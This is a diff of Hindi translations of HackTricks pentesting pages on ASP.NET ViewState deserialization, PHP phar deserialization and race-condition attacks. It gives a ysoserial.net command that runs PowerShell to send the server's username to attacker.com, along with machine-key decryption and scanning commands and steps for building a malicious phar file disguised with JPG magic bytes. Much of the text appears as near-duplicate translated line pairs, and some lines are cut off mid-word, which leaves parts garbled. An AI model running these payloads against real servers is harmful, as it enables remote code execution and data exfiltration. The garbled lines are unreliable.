AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
@ -86,9 +86,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
```
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात मशीन कुंजी की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह यहां कोई Windows आवश्यकता नहीं है। .NET व्यूस्टेट के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज़ तरीका है।
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात मशीन कुंजी की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह यह Windows पर निर्भरता नहीं है। .NET viewstates के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज़ तरीका है।
इसे या तो व्यूस्टेट और जेनरेटर के साथ सीधे प्रदान किया जा सकता है:
इसे या तो viewstate और जेनरेटर के साथ सीधे प्रदान किया जा सकता है:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -106,7 +106,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
बड़े पैमाने पर खोज करने के लिए, सबडोमेन जाँच के साथ, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है:
व्यापक स्तर पर खोज करने के लिए, उपडोमेन गणना के साथ, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
@ -118,29 +118,29 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा भेजा नहीं जाता है**, तब आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं होती है लेकिन ये पैरामीटर**:
जब सर्वर द्वारा `_VIEWSTATEGENERATOR` पैरामीटर **नहीं भेजा जाता है**, तब आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं होती है लेकिन ये**:
```bash
--apppath="/" --path="/hello.aspx"
```
### परीक्षण मामला: 3 - .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इस मामले में, Burp नहीं पता लगाता है कि क्या पैरामीटर MAC के साथ सुरक्षित है क्योंकि यह मान्यता नहीं देता है। फिर, संभावित रूप से मानक को एन्क्रिप्ट किया गया है और आपको विकल्पतः संक्रमित करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए **मशीन कुंजी की आवश्यकता होगी**
इस मामले में, Burp नहीं पता लगाता है कि क्या पैरामीटर MAC के साथ सुरक्षित है क्योंकि यह मान्यता नहीं देता है। फिर, संभावित रूप से मान लिया जाता है कि मान एन्क्रिप्ट है और आपको इस सुरक्षा कमजोरी का उपयोग करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए **मशीन कुंजी की आवश्यकता होगी**
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
**इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकास के अधीन है...**
**.NET 4.5 से पहले**, ASP.NET **अप्राकृत** \_`__VIEWSTATE`\_पैरामीटर को **स्वीकार** कर सकता है **यदि** `ViewStateEncryptionMode` **को** _**हमेशा**_ **सेट किया गया है**। ASP.NET **केवल** अनुरोध में **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति की जांच करता है**। **यदि कोई इस पैरामीटर को हटा देता है और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह फिर भी प्रोसेस होगा।**
**.NET 4.5 से पहले**, ASP.NET **अपेक्षा कर सकता है** कि उपयोगकर्ताओं से एक **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_पैरामीटर स्वीकार करें **यदि** **`ViewStateEncryptionMode`** को _**हमेशा**_ सेट किया गया है। ASP.NET **केवल** अनुरोध में **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की जांच करता है। **यदि कोई इस पैरामीटर को हटा देता है और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह फिर भी प्रोसेस होगा।**
इसलिए, यदि मशीन कुंजी ज्ञात है (उदाहरण के लिए, एक निर्देशिका विभाजन मुद्दे के माध्यम से), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) मामले 2 में उपयोग किया जा सकता है, ViewState डिसीरियलाइज़ेशन संरचना के उपयोग से RCE को करने के लिए
इसलिए, यदि मशीन कुंजी ज्ञात होती है (उदाहरण के लिए, एक निर्देशिका ट्रावर्सल मुद्दे के माध्यम से), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग ViewState डेसीरियलाइज़ेशन सुरक्षा का उपयोग करके RCE करने के लिए किया जा सकता है
* ViewState डिसीरियलाइज़ेशन संरचना को उपयोग करने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और उत्पादन विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
* ViewState डेसीरियलाइज़ेशन सुरक्षा का शोध करने के लिए अनुरोध में `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और शोध विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
### परीक्षण मामला: 4 - .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को false करें
हम नीचे दिए गए पैरामीटर का उपयोग करके ASP.NET फ्रेमवर्क का उपयोग कर सकते हैं जैसा कि नीचे दिखाया गया है।
हम नीचे दिए गए पैरामीटर का उपयोग करके ASP.NET फ्रेमवर्क का उपयोग करने को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
```markup
<httpRuntime targetFramework="4.5" />
```
@ -171,24 +171,24 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
```
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
एक मान्य मशीन कुंजी की पहचान करने के बाद, **अगला कदम है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना**
एक वैध मशीन कुंजी की पहचान करने के बाद, **अगला कदम है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
यदि आपके पास `__VIEWSTATEGENERATOR` मान है, तो आप उस मान के साथ `--generator` पैरामीटर का उपयोग करने की कोशिश कर सकते हैं और `--path` और `--apppath` पैरामीटर को छोड़ सकते हैं।
यदि आपके पास `__VIEWSTATEGENERATOR` मान है, तो आप उस मान के साथ `--generator` पैरामीटर का उपयोग करने की कोशिश कर सकते हैं और `--path` और `--apppath` पैरामीटर को छोड़ सकते हैं।
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
यदि ViewState डेसीरियलाइज़ेशन कमजोरी सफलतापूर्वक उपयोगिता कर रही है, तो हमलावार संचालित सर्वर को उपयोगकर्ता नाम समेत एक आउट ऑफ बैंड अनुरोध प्राप्त होगा। [सफल उपयोग का PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
यदि ViewState डेसीरियलाइज़ेशन कमजोरी सफलतापूर्वक उपयोगिता कर रही है, तो हमलावार नियंत्रित सर्वर को उपयोगकर्ता नाम समेत एक आउट ऑफ बैंड अनुरोध प्राप्त होगा। [सफल उपयोग का PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### परीक्षण मामला 6 - ViewStateUserKeys का उपयोग हो रहा है
**ViewStateUserKey** गुणक का उपयोग **CSRF हमले** के खिलाफ सुरक्षा के लिए किया जा सकता है। यदि ऐसी कोई कुंजी एप्लिकेशन में परिभाषित की गई है और हम पहले से चर्चित विधियों का उपयोग करके ViewState पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड एप्लिकेशन द्वारा प्रसंस्कृत नहीं किया जाएगा**।\
**ViewStateUserKey** गुणक का उपयोग **CSRF हमले** के खिलाफ सुरक्षा के लिए किया जा सकता है। यदि ऐसी कुंजी को एप्लिकेशन में परिभाषित किया गया है और हम उपरोक्त विधियों के साथ ViewState पेलोड उत्पन्न करने की कोशिश करते हैं, तो पेलोड एप्लिकेशन द्वारा प्रसंस्कृत नहीं किया जाएगा।\
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### सफल शोषण का परिणाम <a href="#poc" id="poc"></a>
### सफल शो का परिणाम <a href="#poc" id="poc"></a>
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड सफलतापूर्वक काम करता है तो सर्वर "500 आंतरिक सर्वर त्रुटि" के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री "यह पृष्ठ के लिए राज्य सूचना अमान्य है और यह क्षतिग्रस्त हो सकती है" होती है और हमें आउट ऑफ बैंड अनुरोध प्राप्त होता है जैसा कि नीचे दिखाया गया है:
@ -205,9 +205,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आपको **हैकिंग करियर** में रुचि है और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
यदि आपको **हैकिंग करियर** में रुचि है और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -4,25 +4,25 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें**.
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
**Phar** फ़ाइलें (PHP Archive) फ़ाइलें **सीरीयलाइज़ किए गए प्रारूप में मेटा डेटा शामिल करती हैं**, इसलिए, जब इस **मेटाडेटा** को **डिसीरियलाइज़ किया** जाता है, तो आप एक **डिसीरियलाइज़ेशन** संकट का उपयोग करने की कोशिश कर सकते हैं **PHP** कोड के अंदर
**Phar** फ़ाइलें (PHP Archive) फ़ाइलें **सीरीयलाइज़ किए गए प्रारूप में मेटा डेटा शामिल करती हैं**, इसलिए, जब पार्स किया जाता है, यह **मेटाडेटा** **डिसीरियलाइज़ किया जाता है** और आप PHP कोड के भीतर एक **डिसीरियलाइज़ेशन** संक्रमण का दुरुपयोग करने की कोशिश कर सकते हैं।
इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह डिसीरियलाइज़ेशन भी होगी, जब भी PHP फ़ंक्शन का उपयोग करके होगी जो PHP कोड को इवैल नहीं करती हैं, जैसे **file\_get\_contents(), fopen(), file() या file\_exists(), md5\_file(), filemtime() या filesize()**
इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह डिसीरियलाइज़ेशन भी होगी, जब भी PHP फ़ंक्शन का उपयोग करके होगी जो PHP कोड को इवैल नहीं करती हैं, जैसे कि **file\_get\_contents(), fopen(), file() या file\_exists(), md5\_file(), filemtime() या filesize()**
तो, सोचिए एक स्थिति को जहां आप एक PHP वेबसाइट को एक अनियमित फ़ाइल का आकार प्राप्त करने के लिए **`phar://`** प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आप एक निम्नलिखित वर्ग के बराबर एक **कक्षा**ाते हैं:
तो, सोचिए एक स्थिति को जहां आप एक PHP वेबसाइट को एक अनियमित फ़ाइल का आकार प्राप्त करने के लिए PHP कोड का उपयोग कर सकते हैं और कोड के भीतर आप एक निम्नलिखित कक्षा का पता लगाते हैं:
{% code title="vunl.php" %}
```php
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
आप एक **phar** फ़ाइल बना सकते हैं जो जब लोड होगी तो इस क्लास का दुरुपयोग करेगी और कुछ ऐसा कमांड चलाएगी:
आप एक **phar** फ़ाइल बना सकते हैं जो लोड होने पर कुछ इस तरह के **कमांड को निर्दिष्ट करने के लिए इस क्लास का दुरुपयोग करेगी**:
{% code title="create_phar.php" %}
```php
@ -72,8 +72,8 @@ $phar->stopBuffering();
```
{% endcode %}
ध्यान दें कि phar फ़ाइल की शुरुआत में **JPG के जादू बाइट्स** (`\xff\xd8\xff`) जोड़े जाते हैं ताकि **संभावित** फ़ाइल **अपलोड** **प्रतिबंधों** को **दौर** किया जा सके।\
`test.phar` फ़ाइल को निम्नलिखित के साथ **कंपाइल** करें:
ध्यान दें कि phar फ़ाइल की शुरुआत में **JPG के जादू बाइट्स** (`\xff\xd8\xff`) जोड़े जाते हैं ताकि **संभावित** फ़ाइल **अपलोड** **प्रतिबंध** को **दौर** किया जा सके।\
`test.phar` फ़ाइल को **कंपाइल** करें:
```bash
php --define phar.readonly=0 create_phar.php
```
@ -85,7 +85,7 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की क्षमता चाहिए_).
@ -95,10 +95,10 @@ php vuln.php
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति चाहिए**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की पहुंच** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में सबमिट करके**.
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
</details>

View file

@ -12,48 +12,48 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता** है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
</details>
## RC का शोषण करना
RC का शोषण करने की मुख्य समस्या यह है कि आपको अनुरोधों को एक साथ बहुत कम समय अंतर के साथ प्रोसेस करने की आवश्यकता होती है (आमतौर पर >1ms)। इस अध्याय में, इसे संभव बनाने के लिए विभिन्न समाधान प्रस्तावित किए गए हैं।
RC का दुष्प्रभाव उन अनुरोधों को प्रोसेस करने की आवश्यकता है जो बहुत कम समय के अंतराल में पारलेल रूप से होते हैं (आमतौर पर >1ms)। इस अनुभाग में, इसे संभव बनाने के लिए विभिन्न समाधान प्रस्तावित किए गए हैं।
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### एकल-पैकेट हमला (HTTP/2) / अंतिम-बाइट सिंक (HTTP/1.1)
HTTP2 की अनुमति है कि **एकल TCP कनेक्शन में 2 अनुरोध** भेजे जा सकते हैं (जबकि HTTP/1.1 में वे क्रमशः होने चाहिए)।\
एकल TCP पैकेट का उपयोग करने से पूरी तरह से **नेटवर्क जिटर का प्रभाव समाप्त हो जाता है**, इसलिए यह रेस कंडीशन हमलों के लिए भी संभावना है। हालांकि, **दो अनुरोध एक स्थिर रेस हमले के लिए पर्याप्त नहीं हैं** धन्यवाद है **सर्वर-साइड जिटर** के लिए - अनियंत्रित कारकों द्वारा उत्पन्न अनुप्रबंधन के समय अनुप्रयोग की अनुरोध-प्रसंस्करण समय में विभिन्नताएं।
एकल TCP पैकेट का उपयोग करने से पूरी तरह से **नेटवर्क जिटर का प्रभाव समाप्त हो जाता है**, इसलिए यह रेस कंडीशन हमलों के लिए भी संभावना है। हालांकि, **दो अनुरोध एक सुरक्षित रेस हमले के लिए पर्याप्त नहीं हैं** धन्यवाद है **सर्वर-साइड जिटर** के लिए - अनियंत्रित कारकों द्वारा उत्पन्न अनुप्रबंधन के समय अनुप्रयोग की अनुरोध-प्रसंस्करण समय में विभिन्नताएं।
लेकिन, HTTP/1.1 '**अंतिम-बाइट सिंक**' तकनीक का उपयोग करके यह संभव है कि बड़े हिस्से को पूर्व-भेजें और फिर एकल TCP पैकेट के साथ **20-30 अनुरोध पूरे करें**।
लेकिन, HTTP/1.1 '**अंतिम-बाइट सिंक**' तकनीक का उपयोग करके आप बड़े हिस्से को पूरे अनुरोध से पहले रोक सकते हैं और फिर एकल TCP पैकेट के साथ **20-30 अनुरोध पूरे कर सकत हैं**।
**प्रत्येक अनुरोध के बड़े हिस्से को पूर्व-भेजें**:
**प्रत्येक अनुरोध के बड़े हिस्से को पहले भेजें**:
* यदि अनुरोध में कोई बॉडी नहीं है, तो सभी हैडर भेजें, लेकिन END\_STREAM फ़्लैग सेट न करें। END\_STREAM सेट करने वाले एक खाली डेटा फ़्रेम रोकें।
* यदि अनुरोध में एक बॉडी है, तो हडर और अंतिम बाइट को छोड़कर सभी बॉडी डेटा भेजें। अंतिम बाइट युक्त डेटा फ़्रेम रोकें।
* यदि अनुरोध में एक बॉडी है, तो हडर और अंतिम बाइट को छोड़कर सभी बॉडी डेटा भेजें। अंतिम बाइट युक्त डेटा फ़्रेम रोकें।
अगले, **अंतिम फ़्रेम भेजने के लिए तैयार हों**:
* पहले तो 100ms तक प्रतीक्षा करें ताकि प्रारंभिक फ़्रेम भेज दिए गए हों।
* पहले फ़्रेम भेजने के लिए 100ms तक प्रतीक्षा करें।
* सुनिश्चित करें कि TCP\_NODELAY अक्षम है - नागल के एल्गोरिदम के द्वारा अंतिम फ़्रेम को बैच में भेजना महत्वपूर्ण है।
* स्थानीय कनेक्शन को गर्म करने के लिए पिंग पैकेट भेजें। यदि आप ऐ
* स्थानीय कनेक्शन को गर्म करने के लिए पिंग पैकेट भेजें। यदि आप ऐसा नहीं करते हैं, तो ओएस नेटवर्क स्टैक प
#### **दर या संसाधन सीमाओं का दुरुपयोग**
यदि कनेक्शन वार्मिंग कोई फर्क नहीं पड़ता है, तो इस समस्या का हल करने के विभिन्न समाधान हैं।
Turbo Intruder का उपयोग करके, आप एक छोटी समय-संबंधी देरी ला सकते हैं। हालांकि, यह आपके वास्तविक हमला अनुरोधों को कई TCP पैकेटों में विभाजित करने के साथ जुड़ा होता है, इसलिए आपको एकल-पैकेट हमला तकनीक का उपयोग नहीं कर सकेंगे। परिणामस्वरूप, उच्च-जिटर लक्ष्यों पर, चाहे आप कितनी भी देरी सेट करें, हमला संभवतः स्थिरता के साथ काम नहीं करेगा।
Turbo Intruder का उपयोग करके, आप एक छोटी समय-संबंधी देरी प्रविष्ट कर सकते हैं। हालांकि, यह आपके वास्तविक हमला अनुरोधों को कई TCP पैकेटों में विभाजित करने के कारण, आपको एकल-पैकेट हमला तकनीक का उपयोग नहीं कर सकेंगे। इस परिणामस्वरूप, उच्च-जिटर लक्ष्यों पर, आपके निर्धारित देरी के बावजूद, हमला संभवतः स्थिरता से काम नहीं करेगा।
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
इसके बजाय, आप एक सामान्य सुरक्षा सुविधा का दुरुपयोग करके इस समस्या को हल कर सकते हैं।
इसके बजाय, आप सामान्य सुरक्षा सुविधा का दुरुपयोग करके इस समस्या को हल कर सकते हैं।
वेब सर्वर अक्सर **अगर बहुत तेजी से बहुत सारे अनुरोध भेजे जाते हैं तो उनकी प्रोसेसिंग में देरी करते हैं**। एक बड़ी संख्या में डमी अनुरोधों को भेजकर रेट या संसाधन सीमा को इच्छित रूप से ट्रिगर करके, आप संगत सर्वर-साइड देरी का कारण बना सकते हैं। इससे एकल-पैकेट हमला संभव होता है, जब विलंबित निष्पादन की आवश्यकता होती है।
